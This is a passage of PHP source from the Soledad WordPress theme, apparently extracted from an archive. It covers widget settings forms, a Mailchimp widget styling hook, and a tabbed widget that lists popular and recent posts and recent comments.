                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Hide post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"><?php esc_html_e( 'Custom Image Width ( Default: 120 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgwidth'] ); ?>" size="3"/>
                <span class="description"
                      style="display: block; padding: 0;font-size: 12px;"><?php esc_html_e( 'This option doesn\'t apply for featured posts. It should be between 80 to 200.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>
			
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"><?php esc_html_e( 'Font Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptorn' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptorn'] ); ?>" size="3"/>
            </p>
			
			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"><?php esc_html_e( 'Box Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'oboxsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['oboxsize'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\>r      widgets/mailchimp.phpnu [        <?php
add_action( 'mc4wp_form_widget_form', function ( $settings, $widget ) {
	$penci_mailchimp_style = isset( $settings['penci_mailchimp_style'] ) ? $settings['penci_mailchimp_style'] : 's1';
	?>
    <p>
        <label for="<?php echo esc_attr( $widget->get_field_id( 'penci_mailchimp_style' ) ); ?>"><?php esc_html_e( 'Mailchimp Style:', 'soledad' ); ?></label>
        <select id="<?php echo esc_attr( $widget->get_field_id( 'penci_mailchimp_style' ) ); ?>"
                name="<?php echo esc_attr( $widget->get_field_name( 'penci_mailchimp_style' ) ); ?>"
                class="widefat penci_mailchimp_style" style="width:100%;">
			<?php
			$options = [
				's1'  => __( 'Default', 'soledad' ),
				's5'  => __( 'Style 1', 'soledad' ),
				's6'  => __( 'Style 2', 'soledad' ),
				's7'  => __( 'Style 3', 'soledad' ),
				's8'  => __( 'Style 4', 'soledad' ),
				's9'  => __( 'Style 5', 'soledad' ),
				's10' => __( 'Style 6', 'soledad' ),
				's11' => __( 'Style 7', 'soledad' ),
				's12' => __( 'Style 8', 'soledad' ),
				's13' => __( 'Style 9', 'soledad' ),
				's14' => __( 'Style 10', 'soledad' ),
				's15' => __( 'Style 11', 'soledad' ),
			];

			foreach ( $options as $value => $label ) {
				printf(
					'<option value="%s" %s>%s</option>',
					esc_attr( $value ),
					selected( $penci_mailchimp_style, $value, false ),
					esc_html__( $label, 'soledad' )
				);
			}
			?>
        </select>
        <span style="display: block;margin-top: 10px;"><?php _e( 'This style does not apply to the Header/Footer Signup Form.', 'soledad' ); ?></span>
    </p>
	<?php
}, 10, 2 );

add_filter( 'mc4wp_form_widget_update_settings', function ( $new_settings, $old_settings, $widget ) {
	if ( ! empty( $new_settings['penci_mailchimp_style'] ) ) {
		$new_settings['penci_mailchimp_style'] = sanitize_text_field( $new_settings['penci_mailchimp_style'] );
	}

	return $new_settings;

}, 10, 3 );

add_filter( 'widget_display_callback', function ( $instance, $widget, $args ) {
	// Disable Mailchimp widget in specific sidebars
	if ( isset( $args['id'] ) && in_array( $args['id'], [ 'footer-signup-form', 'header-signup-form' ], true ) ) {
		return $instance; // Prevents the widget from being displayed
	}

	if ( isset( $args['widget_id'] ) && strpos( $args['widget_id'], 'mc4wp_form_widget' ) !== false ) {
		// Ensure the instance contains the correct setting
		$penci_form_style = isset( $instance['penci_mailchimp_style'] ) ? $instance['penci_mailchimp_style'] : 's1';

		// Modify the widget output directly using output buffering
		ob_start();
		$widget->widget( $args, $instance );
		$output = ob_get_clean();

		// Inject the correct class into the widget wrapper
		if ( preg_match( '/class="([^"]*)"/', $output ) ) {
			$output = preg_replace(
				'/class="([^"]*)"/',
				'class="penci-mc4wp-widget penci-mailchimp-' . esc_attr( $penci_form_style ) . ' $1"',
				$output,
				1
			);
		} else {
			// If class attribute doesn't exist, add it
			$output = preg_replace(
				'/<div/',
				'<div class="penci-mc4wp-widget penci-mailchimp-' . esc_attr( $penci_form_style ) . '"',
				$output,
				1
			);
		}

		echo $output;

		return false; // Prevents the default widget output from being displayed
	}

	return $instance;
}, 10, 3 );PK     2w\OP      widgets/posts_tabs.phpnu [        <?php

add_action( 'widgets_init', 'penci_posts_tabs_load_widget' );

function penci_posts_tabs_load_widget() {
	register_widget( 'penci_posts_tabs_widget' );
}

if ( ! class_exists( 'penci_posts_tabs_widget' ) ) {
	class penci_posts_tabs_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_posts_tabs_widget',
				'description' => esc_html__( 'A widget that displays a tabs with listing posts.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_posts_tabs_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_posts_tabs_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Tabs', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_posts_tabs_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Tabs', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title           = isset( $instance['title'] ) ? $instance['title'] : '';
			$title           = apply_filters( 'widget_title', $title );
			$sticky          = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$tabs_order      = isset( $instance['tabs_order'] ) ? $instance['tabs_order'] : 'recent_popular_comments';
			$tabs_style      = isset( $instance['tabs_style'] ) ? $instance['tabs_style'] : 'default';
			$number          = isset( $instance['number'] ) ? $instance['number'] : 5;
			$number_comments = isset( $instance['number_comments'] ) ? $instance['number_comments'] : 5;
			$sticky_value    = ( false == $sticky ) ? 0 : 1;
			$title_length    = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$featured        = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$dotstyle        = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta        = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$twocolumn       = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2       = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$ordernum        = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$allfeatured     = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright      = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate        = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon            = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type      = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$ptfsfe          = isset( $instance['ptfsfe'] ) ? absint( $instance['ptfsfe'] ) : '';
			$ptfs            = isset( $instance['ptfs'] ) ? absint( $instance['ptfs'] ) : '';
			$pmfs            = isset( $instance['pmfs'] ) ? absint( $instance['pmfs'] ) : '';
			$ptorn           = isset( $instance['ptorn'] ) ? absint( $instance['ptorn'] ) : '';
			$oboxsize        = isset( $instance['oboxsize'] ) ? absint( $instance['oboxsize'] ) : '';
			$row_gap         = isset( $instance['row_gap'] ) ? absint( $instance['row_gap'] ) : '';
			$imgwidth        = isset( $instance['imgwidth'] ) ? absint( $instance['imgwidth'] ) : '';
			$hide_thumb      = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$tabs_icon       = isset( $instance['tabs_icon'] ) ? $instance['tabs_icon'] : false;
			$showauthor      = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment     = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews       = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder      = isset( $instance['showborder'] ) ? $instance['showborder'] : false;


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			wp_enqueue_script( 'penci_widget_tabs' );
			$tabs_order = explode( '_', $tabs_order );
			$rand       = rand( 1000, 10000 );
			$class      = $tabs_icon ? 'show-icon' : 'hide-icon';
			$class      .= $tabs_style ? ' box-tabs' : ' default-tabs';
			?>
            <div class="penc-posts-tabs <?php echo esc_attr( $class ); ?>" id="pc-wpt-<?php echo $rand; ?>">
                <div class="tabs">
                    <ul>
						<?php $count = 1;
						foreach ( $tabs_order as $tab ) {
							if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
								$class = $count == 1 ? ' active' : '';
								echo '<li class="li-tab-' . $tab . $class . '" data-tab="tab-' . $tab . '"><a href="#" aria-label="Tab">' . penci_get_setting( 'penci_trans_' . $tab ) . '</a></li>';
								$count ++;
							}
						} ?>
                    </ul>
                </div>
                <div class="tabs-content">
					<?php $tcount = 1;
					foreach ( $tabs_order as $tab ) {
						$check = $tcount == 1;
						if ( isset( $instance[ 'disable_' . $tab ] ) && ! $instance[ 'disable_' . $tab ] ) {
							if ( $tab == 'popular' || $tab == 'recent' ) {
								$this->show_tabs_posts( $instance, $tab, $check );
							} else {
								$this->show_comment_posts( $instance, $number_comments, $check );
							}
						}
						$tcount ++;
					} ?>
                </div>
            </div>

			<?php

			$attrstyle = '';
			if ( $ptfsfe ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li.featured-news .side-item .side-item-text h4 a{ font-size: ' . $ptfsfe . 'px; }';
			}
			if ( $ptfs ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li:not(.featured-news) .side-item .side-item-text h4 a{ font-size: ' . $ptfs . 'px; }';
			}
			if ( $pmfs ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li .side-item .side-item-text .side-item-meta{ font-size: ' . $pmfs . 'px; }';
			}
			if ( $imgwidth ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct li .penci-image-holder.small-fix-size{ width: ' . $imgwidth . 'px; }';
			}
			if ( $row_gap ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct.side-newsfeed:not(.penci-feed-2columns) li{ margin-bottom: ' . $row_gap . 'px; padding-bottom: ' . $row_gap . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.penci-wdtab-ct.penci-feed-2columns li{ margin-bottom: ' . $row_gap . 'px; }';
			}
			if ( $image_type == 'horizontal' ) {
				$attrstyle .= '#pc-wpt-' . $rand . ' .penci-wdtab-ct .penci-image-holder:before{ padding-top: 66.6667%; }';
			} elseif ( $image_type == 'square' ) {
				$attrstyle .= '#pc-wpt-' . $rand . ' .penci-wdtab-ct .penci-image-holder:before{ padding-top: 100%; }';
			} elseif ( $image_type == 'vertical' ) {
				$attrstyle .= '#pc-wpt-' . $rand . ' .penci-wdtab-ct .penci-image-holder:before{ padding-top: 135.4%; }';
			}

			if ( $ptorn ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.order-numbers-4.display-order-numbers li .side-image:before{ font-size: ' . $ptorn . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' li .number-post{ font-size: ' . $ptorn . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.order-numbers-3 li .number-post{ font-size: ' . $ptorn . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.order-numbers-2.display-order-numbers li .side-item-text:before{ font-size: ' . $ptorn . 'px; }';
			}

			if ( $oboxsize ) {
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.side-newsfeed{ --oboxsize: ' . $oboxsize . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.side-newsfeed.order-numbers-1 li .order-border-number{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
				$attrstyle .= '.widget #pc-wpt-' . $rand . ' ul.side-newsfeed.order-numbers-1 li .number-post{ width: ' . $oboxsize . 'px;height: ' . $oboxsize . 'px;line-height: ' . ( $oboxsize - 2 ) . 'px; }';
			}

			if ( $attrstyle ) {
				echo '<style type="text/css">' . $attrstyle . '</style>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance      = $old_instance;
			$data_instance = $this->soledad_widget_defaults();
			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function show_comment_posts( $instance, $number = 5, $is_active = false ) {
			$comments_query     = new WP_Comment_Query( [
				'number' => $number,
				'status' => 'approve',
			] );
			$comments           = $comments_query->comments;
			$class              = $is_active ? 'active' : 'inactive';
			$comments_count     = wp_count_comments();
			$comments_max_pages = $comments_count->approved > $number ? ceil( $comments_count->approved / $number ) : 1;
			if ( $comments ) :
				?>
                <div class="tab-content-wrapper tab-comments recent-comments <?php echo $class; ?>">
                    <ul data-max="<?php echo $comments_max_pages; ?>" data-paged="1"
                        data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_comments' ); ?>"
                        data-action="penci_posts_tabs_widget_comments_ajax">
						<?php foreach ( $comments as $comment ) {
							if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
								$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=70';
							} else {
								$usergravatar = get_avatar_url( $comment->user_id );
							}
							echo '<li>
						        <a href="' . get_author_posts_url( $comment->user_id ) . '" class="avatar"><img src="' . $usergravatar . '" alt=""></a>
						        <div class="author-info"><a href="' . get_author_posts_url( $comment->user_id ) . '">' . $comment->comment_author . '</a> on <a href="' . get_permalink( $comment->comment_post_ID ) . '">' . get_the_title( $comment->comment_post_ID ) . '</a></div>
						     </li>';
						} ?>
                    </ul>
					<?php
					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
						?>
                        <div class="penci-pagination penci-ajax-more pcwg-lposts">
                            <a class="penci-ajax-more-button pc-tabsajax-btn penci-wgajx-btn"
                               href="#" aria-label="More Posts">
                                <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_comments' ); ?></span><span
                                        class="ajaxdot"></span><i
                                        class="penci-faicon fa fa-refresh"></i> </a>
                        </div>
						<?php
					} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                        <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                            <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                            <span class="pcajx-btn penci-wgajx-btn pc-tabsajax-btn next"><?php echo '<span class="pcnav-title">' . penci_get_setting( 'penci_trans_next' ) . '</span>' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                        </div>
						<?php
					}
					if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
						?>
                        <div class="pcwgajx-ld-wrapper">
							<?php echo penci_get_html_animation_loading( 'df' ); ?>
                        </div>
						<?php
					}
					?>
                </div>
			<?php
			else:
				echo '<div class="tab-content-wrapper tab-comments recent-comments ' . $class . '">';
				echo '<p>' . penci_get_setting( 'penci_trans_no_comments' ) . '</p>';
				echo '</div>';
			endif;
		}

		public function show_tabs_posts( $instance, $type, $first = false ) {
			$sticky         = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
			$sticky_value   = ( false == $sticky ) ? 0 : 1;
			$popular_order  = isset( $instance['popular_order'] ) ? $instance['popular_order'] : 'all';
			$number         = isset( $instance['number'] ) ? $instance['number'] : '5';
			$offset         = isset( $instance['offset'] ) ? $instance['offset'] : '';
			$title_length   = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
			$featured       = isset( $instance['featured'] ) ? $instance['featured'] : false;
			$dotstyle       = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
			$movemeta       = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
			$twocolumn      = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
			$featured2      = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
			$ordernum       = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
			$allfeatured    = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
			$thumbright     = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
			$postdate       = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
			$icon           = isset( $instance['icon'] ) ? $instance['icon'] : false;
			$image_type     = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
			$hide_thumb     = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
			$showauthor     = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
			$showcomment    = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
			$showviews      = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
			$showborder     = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
			$ordernum_style = isset( $instance['ordernum_style'] ) ? $instance['ordernum_style'] : '1';
			$rand           = rand( 1000, 10000 );
			$query          = array(
				'meta_key'            => penci_get_postviews_key(),
				'orderby'             => 'meta_value_num',
				'order'               => 'DESC',
				'posts_per_page'      => $number,
				'post_type'           => 'post',
				'ignore_sticky_posts' => $sticky_value
			);

			if ( $popular_order == 'week' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_week_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $popular_order == 'month' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => 'penci_post_month_views_count',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			} elseif ( $popular_order == 'jetpack' ) {
				$query = array(
					'posts_per_page' => $number,
					'meta_key'       => '_jetpack_post_view',
					'orderby'        => 'meta_value_num',
					'order'          => 'DESC',
				);
			}
			if ( $offset ) {
				$query['offset'] = $offset;
			}

			if ( $type == 'recent' ) {
				$query    = array(
					'order'               => 'DESC',
					'posts_per_page'      => $number,
					'post_type'           => 'post',
					'ignore_sticky_posts' => $sticky_value
				);
				$ordernum = isset( $instance['ordernum_recent'] ) ? $instance['ordernum_recent'] : true;
			}

			$loop  = new WP_Query( $query );
			$class = $first ? 'active' : 'inactive';
			?>
            <div class="tab-content-wrapper tab-<?php echo esc_attr( $type . ' ' . $class ); ?>">
                <ul data-settings='<?php echo json_encode( $instance ); ?>'
                    data-paged="1"
                    data-type="<?php echo esc_attr( $type ); ?>"
                    data-action="penci_posts_tabs_widget_ajax"
                    data-mes="<?php echo penci_get_setting( 'penci_trans_no_more_posts' ); ?>"
                    data-max="<?php echo esc_attr( $loop->max_num_pages ); ?>"
                    class="penci-wdtab-ct side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
					    if ( $featured ) {
						    echo ' penci-2columns-featured';
					    } else {
						    echo ' penci-2columns-feed';
					    } endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
				    if ( $dotstyle ) {
					    echo ' pctlst pctl-' . $dotstyle;
				    }
				    if ( $showborder ) {
					    echo ' penci-rcpw-hborders';
				    } 
					echo ' order-numbers-' . $ordernum_style;
					?>">

					<?php $num = 1;
					while ( $loop->have_posts() ) : $loop->the_post(); ?>

                        <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
							if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
							<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                                <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num ); ?></span>
								</span>
							<?php endif; ?>
                            <div class="side-item">
								<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                                    <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
										<?php
										$size_pie = 'small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
										do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
										/* Display Review Piechart  */
										if ( function_exists( 'penci_display_piechart_review_html' ) ) {
											penci_display_piechart_review_html( get_the_ID(), $size_pie );
										}
										$thumb = penci_featured_images_size( 'small' );
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
										if ( $image_type == 'horizontal' ) {
											$thumb = 'penci-thumb-small';
											if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
										} elseif ( $image_type == 'square' ) {
											$thumb = 'penci-thumb-square';
										} elseif ( $image_type == 'vertical' ) {
											$thumb = 'penci-thumb-vertical';
										}
										?>

                                        <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?>
                                                class="<?php echo penci_layout_bg_class(); ?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
													echo '';
												} else {
													echo ' small-fix-size';
												} ?>" rel="bookmark"
                                                href="<?php the_permalink(); ?>"
                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                        </a>


										<?php if ( $icon ): ?>
											<?php if ( has_post_format( 'video' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'audio' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'link' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'quote' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
											<?php endif; ?>
											<?php if ( has_post_format( 'gallery' ) ) : ?>
                                                <a href="<?php the_permalink() ?>" class="icon-post-format"
                                                   aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
											<?php endif; ?>
										<?php endif; ?>
                                    </div>
								<?php endif; ?>
                                <div class="side-item-text">
									<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>

                                    <h4 class="side-title-post">
                                        <a href="<?php the_permalink() ?>" rel="bookmark"
                                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
											<?php
											if ( ! $title_length || ! is_numeric( $title_length ) ) {
												if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
													echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
												} else {
													the_title();
												}
											} else {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
											}
											?>
                                        </a>
                                    </h4>
									<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                        <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
											<?php if ( $showauthor ): ?>
                                                <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                            class="url fn n"
                                                            href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
											<?php endif; ?>
											<?php if ( ! $postdate ): ?>
                                                <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
											<?php endif; ?>
											<?php if ( $showcomment ): ?>
